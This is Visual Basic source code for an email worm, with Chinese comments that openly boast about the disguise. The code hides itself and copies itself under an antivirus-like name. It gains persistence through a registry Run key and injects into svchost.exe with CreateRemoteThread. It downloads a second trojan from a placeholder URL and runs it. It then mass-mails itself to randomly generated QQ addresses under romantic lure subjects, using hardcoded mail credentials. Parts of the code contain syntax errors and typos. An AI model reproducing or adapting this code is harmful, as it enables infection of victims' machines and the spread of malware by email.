Private Const INFINITE = &HFFFFFFFF
Private Const TH32CS_SNAPPROCESS As Long = 2&
Private Const MAX_PATH As Integer = 260
'====================结构体声明===================
Private Type PROCESSENTRY32
dwSize As Long '结构大小
cntUsage As Long '自身引用记数
th32ProcessID As Long '此进程ID
th32DefaultHeapID As Long '进程默认堆ID
th32ModuleID As Long '进程模块ID。DLL是模块ID与进程ID相同
cntThreads As Long '开启的线程计数
th32ParentProcessID As Long '父进程ID
pcPriClassBase As Long '线程优先权
dwFlags As Long 'preserve
szExeFile As String * MAX_PATH 'full name
End Type
'*************************远程注入的API及其常量声明完毕****************************
'-----------------API常量声明-----------------
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1 ' Unicode nul terminated string
'-----------------全局变量--------------------
Dim Response As String, Reply As Integer, DateNow As String
Dim Start As Single, Tmr As Single
Dim FromToName As String
Dim Subject(15) As String
Dim Body(15) As String
Private arryBase64EncodeByte(0 To 63) As Byte
Private Base64EncodeWord(0 To 63) As Integer
'----------------全局常量---------------------
Const Base64EmptyByte As Byte = 61
Const Base64EmptyWord As Integer = 61
'**********************************全局常量，变量********************************************
'**********************************和函数声明完毕********************************************
'--------------------------------
Private Sub Form_Load()
Dim regKey As String
Dim regRet As Long
Dim hKey As Long
Dim path As String
Dim ExePath As String
Dim hProc As Long '当前进程句柄（在远程注入里要用到）
Dim lngRetVal As Long
On Error Resume Next '健壮性，出现错误不至于使程序崩溃
regKey = "SOFTWARE/Microsoft/Windows/CurrentVersion/Run"
Form1.Visible = False '隐藏窗体
App.TaskVisible = False '在任务管理器里隐藏
'--------------------复制自身副本-----------------------
ExePath = IIf(Right(App.path, 1) = "/", App.path & "sysKAV.exe", App.path & "/sysKAV.exe")
FileCopy ExePath, path
SetAttr path, vbHidden '隐藏自身
'--------在注册表里注册，实现开机自启动---------------
path = SysDir() & "sysKAV.exe"
regRet = RegOpenKey(HKEY_LOCAL_MACHINE, regKey, hKey)
regRet = RegSetValueEx(hKey, "sysKAV.exe", 0&, REG_SZ, ByVal path, Len(path) + 1)
Call RegCloseKey(hKey)
'*************开始把自己注入系统进程了***************
hProc = EnumProc("svchost.exe") '我也不知道svchost.exe是啥系统进程，就注入到它里面。
Call InjectLibA(hProc, path)
'****************************************************
'--------------------------------下载木马-------------------------------------------
' 在"http://wwwwwwdd"下载木马“muma.jpg”(当然这个网址是假的，我不能让人家网站关门吧~I am Not a PEST!)。
' 为什么是jpg文件？呵呵~~先下载下来，再改名为“intel.exe”
path = SysDir() & "intel.exe"
lngRetVal = URLDownloadToFile(0, "http://wwwwwwdd/muma.jpg", path, 0, 0)
If lngRetVal = 0 Then '下载成功
regRet = RegOpenKey(HKEY_LOCAL_MACHINE, regKey, hKey) '注册木马，也让它开机自动运行！
'当然也可以试着把它注入系统进程
regRet = RegSetValueEx(hKey, "intel.exe", 0&, REG_SZ, ByVal path, Len(path) + 1)
Call RegCloseKey(hKey)
Shell path, vbNormalNoFocus '运行木马！呵呵~~大功告成！
SetAttr path, vbHidden '隐藏自身
End If
'------------------------------------------------------------------------------------
Timer1.Enabled = True '启动Timer1
Timer1.Interval = 10000 '间隔为10秒
Call InitString '初始化字符串数组
End Sub
Private Sub InitString()
Subject(0) = "爱我所爱的人": Subject(1) = "恨不生同时 日日与君好" '邮件主题
Subject(2) = "女人不要太漂亮,只要有人爱就可以": Subject(3) = "附件内"
Subject(4) = "讓時間去證銘..珍愛過就絕不放手": Subject(5) = "Hello"
Subject(6) = "Hi": Subject(7) = "I love you!"
Subject(8) = "我爱你（附件里）": Subject(9) = "重要文件"
Subject(10) = "Dear,I love you!": Subject(11) = "Love you!"
Subject(12) = "拥有是快乐的~!": Subject(13) = "Love! Love! Love!"
Subject(14) = "愛情沒有公平": Subject(15) = "嘴叼①根煙﹎有點可愛╄有點壞"
Body(0) = "附件中": Body(1) = "附件" '邮件正文
Body(2) = "绝密--附件中": Body(3) = "鱼对水说；你 在哪里？水对鱼说；我在你的心里"
Body(4) = "重要附件": Body(5) = " 生活每天都是美好的"
Body(6) = "珍惜眼前的一切": Body(7) = "Forever Love You"
Body(8) = "重要附件": Body(9) = "请查看附件"
Body(10) = "女人不要太富贵,只要过的幸福": Body(11) = "查看附件"
Body(12) = "我憧憬和追求甜美的浪漫情调": Body(13) = "你我之间也许相隔很远,但以光年计算,我们相隔咫尺"
Body(14) = "你愿意用你的心去捅破隔阂在我们心中的“防火墙”吗": Body(15) = "让我们因为有了友谊而不再孤单"
End Sub
'---------------------------------------------------------------------------
Private Sub Timer1_Timer() '用Timer来循环发邮件
Dim Pwd As String
Dim UserName As String
Pwd = "654321"
UserName = "254930005@qq.com"
Call SendEmail("smtp.qq.com", "254930005@qq.com", "QQ:12345678", EmailAddr, "QQ:" & FromToName, EmailSubject(), Emailbody(), Pwd, UserName)
'把12345678改为你的QQ号码，UserName，Pwd设为你的QQ邮箱名及密码
End Sub
'-------------------------这个函数用来发邮件（及其附件）---------------------------------------
Private Sub SendEmail(MailServerName As String, _
FromEmailAddress As String, FromName As String, ToEmailAddress As String, _
ToName As String, EmailSubject As String, EmailBodyOfMessage As String, _
EmialPassword As String, EmialUsername As String)
Dim sndData As Variant
Dim lenFile As Long '保存病毒文件长度
Dim more As Long
Dim FnumIn As Integer
Dim mInByte(4) As Byte, mOutByte(3) As Byte
Dim myByte As Byte
Dim i As Integer, LineLen As Integer, j As Integer
Dim ByteNum As Integer
Dim first As String, Second As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String
On Error GoTo RepSend '出现错误，重新开始发送邮件
sckMail.LocalPort = 0 '系统随机分配端口
If sckMail.State = sckClosed Then '检查winsock的状态是否为关
first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf '发件人地址
Second = "rcpt t" + Chr(32) + ToEmailAddress + vbCrLf '收件人地址
Third = "Date:" + Chr(32) + Format(Date, "Ddd") & ", " & _
Format(Date, "dd Mmm YYYY") & " " & Format(Time, "hh:mm:ss") _
& "" & " -0600" + vbCrLf '时间
Fourth = "From:" + Chr(32) + FromName + vbCrLf '发件人
Fifth = "T" + Chr(32) + ToNametxt + vbCrLf '收件人
Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf '主题
Seventh = EmailBodyOfMessage + vbCrLf '正文
Ninth = "X-Mailer: lj v 2.x" + vbCrLf
Eighth = Fourth + Third + Ninth + Fifth + Sixth
sckMail.Protocol = sckTCPProtocol ' 设置协议为TCP
sckMail.RemoteHost = MailServerName ' SMTP地址
sckMail.RemotePort = 25 ' SMTP端口
sckMail.Connect ' 开始连接
WaitFor ("220")
sckMail.SendData ("HELO HuBeiJiaoYuan040313" + vbCrLf) ''-----change it!
WaitFor ("250")
'--------------进行校验LOGIN-------------------
sckMail.SendData ("AUTH LOGIN" + vbCrLf)
WaitFor ("334")
sckMail.SendData (Base64EncodeString(EmialUsername) + vbCrLf) '输入用户名----change it!
WaitFor ("334")
sckMail.SendData (Base64EncodeString(EmialPassword) + vbCrLf) '输入用户口令---change it!
WaitFor ("235")
'-------------------------------------
sckMail.SendData (first) '发送mail from 指令
WaitFor ("250")
sckMail.SendData (Second) '发送 rcpt to 指令
WaitFor ("250")
sckMail.SendData ("data" + vbCrLf) '开始发送数据
WaitFor ("354")
sckMail.SendData (Eighth + vbCrLf) '这些是邮件正文的头部
sckMail.SendData (Seventh + vbCrLf)
'---------------------这里开始发送附件-------------------------
' ~78tmp.txt是一个临时文件，保存加密后的内容，用完后就会删了它
' sysKAV.exe就是病毒文件名字。生成EXE时必须改名为sysKAV.exe
' 呵呵~~看起来像是sytem & KAV ，想不到是病毒文件吧？！
Call Base64EncodeFile(SysDir() & "sysKAV.exe", TempPath() & "~78tmp.txt")
FnumIn = FreeFile()
Open TempPath & "~78tmp.txt" For Binary As #FnumIn
more = LOF(FnumIn) Mod 20000
lenFile = CLng(LOF(FnumIn) / 20000)
For x = 1 To lenFile
sndData = ""
For y = 0 To 19999
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Next
sckMail.SendData sndData '发送20000Byte的数据
Next x
While Not EOF(FnumIn)
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Wend
sckMail.SendData sndData '发送剩下的数据
Close FnumIn
Kill TempPath() & "~78tmp.txt" '删除~78tmp.txt
'--------附件发送完毕-----------
sckMail.SendData ("." + vbCrLf) '邮件正文结束
WaitFor ("250")
sckMail.SendData ("quit" + vbCrLf) '发送quit指令，结束事务。
WaitFor ("221")
sckMail.Close
End If
Exit Sub
RepSend: Timer1.Enabled = False
Call LoopSend
End Sub
'---------------------------------------------------------------------------------------
Private Sub WaitFor(ResponseCode As String) '检查是否收到SMTP服务器的返回代码
Start = Timer
Response = Trim(Response)
While Len(Trim(Response)) = 0 '服务器没有响应
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
GoTo RepSend
End If
Wend
While Left(Response, 3) <> ResponseCode '提起服务器响应码的前3位
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
Print "Time out"
GoTo RepSend
End If
Wend
Exit Sub
RepSend: Response = "" ' Response清空
Timer1.Enabled = False '重新开始发送邮件
Call LoopSend
End Sub
'--------------------------------
Private Sub LoopSend()
Call Sleep(3000)
Timer1.Enabled = True '重新启动Timer1
End Sub
'---------------------------
Private Function SysDir() As String '获得系统目录
Dim path As String
path = String(255, Chr(32))
Call GetSystemDirectory(path, 255)
path = Trim(path)
path = Left(path, InStr(path, Chr(0)) - 1)
path = IIf(Right(path, 1) <> "/", path & "/", path)
SysDir = path
End Function
'---------------------------
Private Function TempPath() As String
Dim path As String
path = String(255, Chr(32))
Call GetTempPath(255, path)
path = Trim(path)
path = Left(path, InStr(path, Chr(0)) - 1)
path = IIf(Right(path, 1) <> "/", path & "/", path)
TempPath = path
End Function
'---------------------------
Private Function QQNum() As String '随机产生QQ号
QQNum = Trim(Str(Int(Rnd() * 10 ^ (Int(5 + 4 * Rnd()))))) '9位的QQ就不搞了，呵呵~
End Function
'---------------------------
Private Function EmailAddr() As String '产生QQ邮箱号
FromToName = QQNum()
EmailAddr = FromToName & "@qq.com"
End Function
'----------------------------
Private Function EmailSubject() As String '随机产生邮件主题
MailSubject = Subject(Int(Rnd() * 16))
End Function
'-----------------------------
Private Function Emailbody() As String '随机产生邮件正文
Emailbody = Body(Int(Rnd() * 16))
End Function
'-----------------------------
Private Sub sckMail_DataArrival(ByVal bytesTotal As Long) '接收服务器的响应内容
sckMail.GetData Response
End Sub
'------------------------------
'===================下面是Base64加密与解密法（完全择自互联网）=======================
'--------Base64是邮件服务里常用的加密算法。该算法把3Byte(3 *8=24bit)字节的数据---------
'--------转换为4(4*6=24)字节的数据。。。。(其实道理很简单~这里不详说~百度搜艘就是~)---------
Public Sub Base64EncodeFile(Infile As String, OutFile As String) 'OutFile是一个过渡文件，用完就删了。
Dim FnumIn As Integer, FnumOut As Integer
Dim mInByte(3) As Byte, mOutByte(4) As Byte
Dim myByte As Byte
Dim i As Integer, LineLen As Integer, j As Integer
FnumIn = FreeFile()
Open Infile For Binary As #FnumIn
FnumOut = FreeFile()
Open OutFile For Binary As #FnumOut
While Not EOF(FnumIn)
i = 0
Do While i < 3
Get #FnumIn, , myByte
If Not EOF(FnumIn) Then
mInByte(i) = myByte
i = i + 1
Else
Exit Do
End If
Loop
Base64EncodeByte mInByte, mOutByte, i
For j = 0 To 3
Put #FnumOut, , mOutByte(j)
Next j
LineLen = LineLen + 1
If LineLen * 4 > 70 Then
Put #FnumOut, , vbCrLf
LineLen = 0
End If
Wend
Close FnumOut
Close FnumIn
End Sub
Sub Base64EncodeByte(mInByte() As Byte, mOutByte() As Byte, Num As Integer)
Dim tByte As Byte
Dim i As Integer
If Num = 1 Then
mInByte(1) = 0
mOutByte(2) = 0
ElseIf Num = 2 Then
mInByte(2) = 0
End If
tByte = mInByte(0) And &HFC
mOutByte(0) = tByte / 4
tByte = ((mInByte(0) And &H3) * 16) + (mInByte(1) And &HF0) / 16
mOutByte(1) = tByte
tByte = ((mInByte(1) And &HF) * 4) + ((mInByte(2) And &HC0) / 64)
mOutByte(2) = tByte
tByte = (mInByte(2) And &H3F)
mOutByte(3) = tByte
For i = 0 To 3
If mOutByte(i) >= 0 And mOutByte(i) <= 25 Then
mOutByte(i) = mOutByte(i) + Asc("A")
ElseIf mOutByte(i) >= 26 And mOutByte(i) <= 51 Then
mOutByte(i) = mOutByte(i) - 26 + Asc("a")
ElseIf mOutByte(i) >= 52 And mOutByte(i) <= 61 Then
mOutByte(i) = mOutByte(i) - 52 + Asc("0")
ElseIf mOutByte(i) = 62 Then
mOutByte(i) = Asc("+")
Else
mOutByte(i) = Asc("/")
End If
Next i
If Num = 1 Then
mOutByte(2) = Asc("=")
mOutByte(3) = Asc("=")
ElseIf Num = 2 Then
mOutByte(3) = Asc("=")
End If
End Sub
'----------------------------------------------
'---------以上文件加密，以下字符串加密---------
Public Sub Base64Init()
'建立Base64码数组
Const Chars64 As String _
= "ABCDEFGHIJKLMNOPQRSTUVWXYZ" _
& "abcdefghijklmnopqrstuvwxyz" _
& "0123456789+/"
Static i As Long
Dim Code As Integer
If i Then Exit Sub
For i = 0 To 63
Code = Asc(Mid$(Chars64, i + 1, 1))
arryBase64EncodeByte(i) = Code
Base64EncodeWord(i) = Code
Next i
End Sub
Public Static Function Base64EncodeString(ByVal Text As String) As String
'Base64码转换函数
Dim Chars() As Integer
Dim SavePtr As Long
Dim SADescrPtr As Long
Dim DataPtr As Long
Dim CountPtr As Long
Dim TextLen As Long
Dim i As Long
Dim Chars64() As Integer
Dim SavePtr64 As Long
Dim SADescrPtr64 As Long
Dim DataPtr64 As Long
Dim CountPtr64 As Long
Dim TextLen64 As Long
Dim j As Long
Dim b1 As Integer
Dim b2 As Integer
Dim b3 As Integer
j = 0
TextLen = Len(Text)
If TextLen = 0 Then Exit Function
'输入字符串校验
TextLen64 = ((TextLen + 2) / 3) * 4
'字符串转换为Base64码后的长度
Base64EncodeString = Space$(TextLen64)
If SavePtr = 0 Then
ReDim Chars(1 To 1)
SavePtr = VarPtr(Chars(1))
'SavePtr=*Chars(1)
PokeLng VarPtr(SADescrPtr), ByVal ArrPtr(Chars)
'*SADescrPtr=*Chars
DataPtr = SADescrPtr + 12
CountPtr = SADescrPtr + 16
ReDim Chars64(0 To 0)
SavePtr64 = VarPtr(Chars64(0))
'SavePtr64=*Chars64(0)
PokeLng VarPtr(SADescrPtr64), ByVal ArrPtr(Chars64)
'*SADescrPtr64=*Chars64
DataPtr64 = SADescrPtr64 + 12
CountPtr64 = SADescrPtr64 + 16
End If
PokeLng DataPtr, StrPtr(Text)
'DataPtr=*Text
PokeLng CountPtr, TextLen
'CountPtr=TextLen
PokeLng DataPtr64, StrPtr(Base64EncodeString)
'DataPtr64=*Base64EncodeString
PokeLng CountPtr64, TextLen64
'CountPtr64=Textlen64
Base64Init
'输入字符串转换为Base64码
For i = 1 To TextLen - 2 Step 3
b1 = Chars(i)
b2 = Chars(i + 1)
b3 = Chars(i + 2)
'Base64-Bytes:
Chars64(j) = Base64EncodeWord(b1 / &H4)
Chars64(j + 1) = Base64EncodeWord((b1 And &H3) * &H10 + b2 / &H10)
Chars64(j + 2) = Base64EncodeWord((b2 And &HF) * &H4 + b3 / &H40)
Chars64(j + 3) = Base64EncodeWord(b3 And &H3F)
j = j + 4
Next i
'继续将未转换完的输入字符串转换为Base64码
Select Case TextLen - i
Case 0 '2 Bytes
b1 = Chars(i)
Chars64(j) = Base64EncodeWord(b1 / &H4)
Chars64(j + 1) = arryBase64EncodeByte((b1 And &H3) * &H10)
Chars64(j + 2) = Base64EmptyWord
Chars64(j + 3) = Base64EmptyWord
Case 1 '1 Byte
b1 = Chars(i)
b2 = Chars(i + 1)
Chars64(j) = Base64EncodeWord(b1 / &H4)
Chars64(j + 1) = Base64EncodeWord((b1 And &H3) * &H10 + b2 / &H10)
Chars64(j + 2) = Base64EncodeWord((b2 And &HF) * &H4)
Chars64(j + 3) = Base64EmptyWord
End Select
'返回转换成Base64码的字符串
PokeLng DataPtr64, SavePtr64
PokeLng CountPtr64, 1
PokeLng DataPtr, SavePtr
PokeLng CountPtr, 1
End Function
'======================加密代码完毕===========================
'*******************下面这2个函数用来实现进程的远程注入************
Private Function EnumProc(ProcName As String) As Long '根据进程名获取进程ID.
Dim hSnapShot As Long, Result As Long
Dim curProcName As String
Dim Process As PROCESSENTRY32
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&
If hSnapShot = 0 Then Exit Function
Process.dwSize = Len(Process)
Result = ProcessFirst(hSnapShot, Process)
Do While Result <> 0
curProcName = Process.szExeFile
curProcName = Left$(curProcName, InStr(curProcName, Chr$(0)) - 1)
If LCase(curProcName) = Trim(ProcName) Then
EnumProc = Process.th32ProcessID
'Print "namesssss:" & Process.szExeFile
GoTo Hclose
End If
'Print "name:" & Process.szExeFile;
'Print "ID:" & Process.th32ProcessID
Result = ProcessNext(hSnapShot, Process)
Loop
Hclose: Call CloseHandle(hSnapShot)
End Function
'------------------------------------------------
'pszLibFile指定的文件注入进程ID为dwProcessId的进程
Private Sub InjectLibA(ByVal dwProcessId As Long, ByVal pszLibFile As String)
Dim hProcess As Long, hThread As Long
Dim pszLibFileRemote As Long
Dim pfnThreadRtn As Long
On Error GoTo errhandle
hProcess = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OPERATION Or PROCESS_VM_WRITE, 0, dwProcessId)
'-------3个参数分别为：访问标志；继承标志；进程ID
If hProcess = 0 Then GoTo errhandle '失败，跳出
Dim cch As Long, cb As Long
cch = LenB(StrConv(pszLibFile, vbFromUnicode))
'-------pszLibFile的字节长度
cch = cch + 1
'------为什么加1---"/0".
' Print cch
pszLibFileRemote = VirtualAllocEx(hProcess, 0&, cch, MEM_COMMIT, PAGE_READWRITE)
'---------在hProcess内分配cch字节的空间
' Print "r" & pszLibFileRemote
If pszLibFileRemote = 0 Then GoTo errhandle '失败，跳出
If (WriteProcessMemory(hProcess, pszLibFileRemote, ByVal pszLibFile, cch, ByVal 0&
= 0) Then GoTo errhandle '***********在这里跳出了！'--------将DLL的路径名复制到远程进程的内存空间。
pfnThreadRtn = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA")
'---------取得LoadLibraryA函数在Kernel32.dll中的入口地址
If pfnThreadRtn = 0 Then GoTo errhandle '失败，跳出
hThread = CreateRemoteThread(hProcess, ByVal 0&, 0&, ByVal pfnThreadRtn, pszLibFileRemote, 0, ByVal 0&
'---------在进程hProcess内创建LoadLibraryA的远程线程。
'---------参数说明：("进程句柄","线程安全描述字，指向SECURITY_ATTRIBUTES结构的指针","线程栈大小",
'---------"指向在远程进程中执行的函数地址","创建线程的其它标志","线程身份标志，如果为NULL,则不返回")
'---------hProcess--->被嵌入的远程进程;pfnThreadRt--->LoadLibraryA的入口地址
If (hThread = 0) Then GoTo errhandle '失败，跳出
WaitForSingleObject hThread, INFINITE
'---------等待线程返回
errhandle:
Print "fileR" & pszLibFileRemote, "hThread" & hThread, "hProc" & hProcess
If pszLibFileRemote <> 0 Then VirtualFreeEx hProcess, pszLibFileRemote, 0, MEM_RELEASE
'-------释放进程空间中的内存
'------关闭句柄
If hThread <> 0 Then CloseHandle hThread
If hProcess <> 0 Then CloseHandle hProcess
End Sub
'*********************************************************************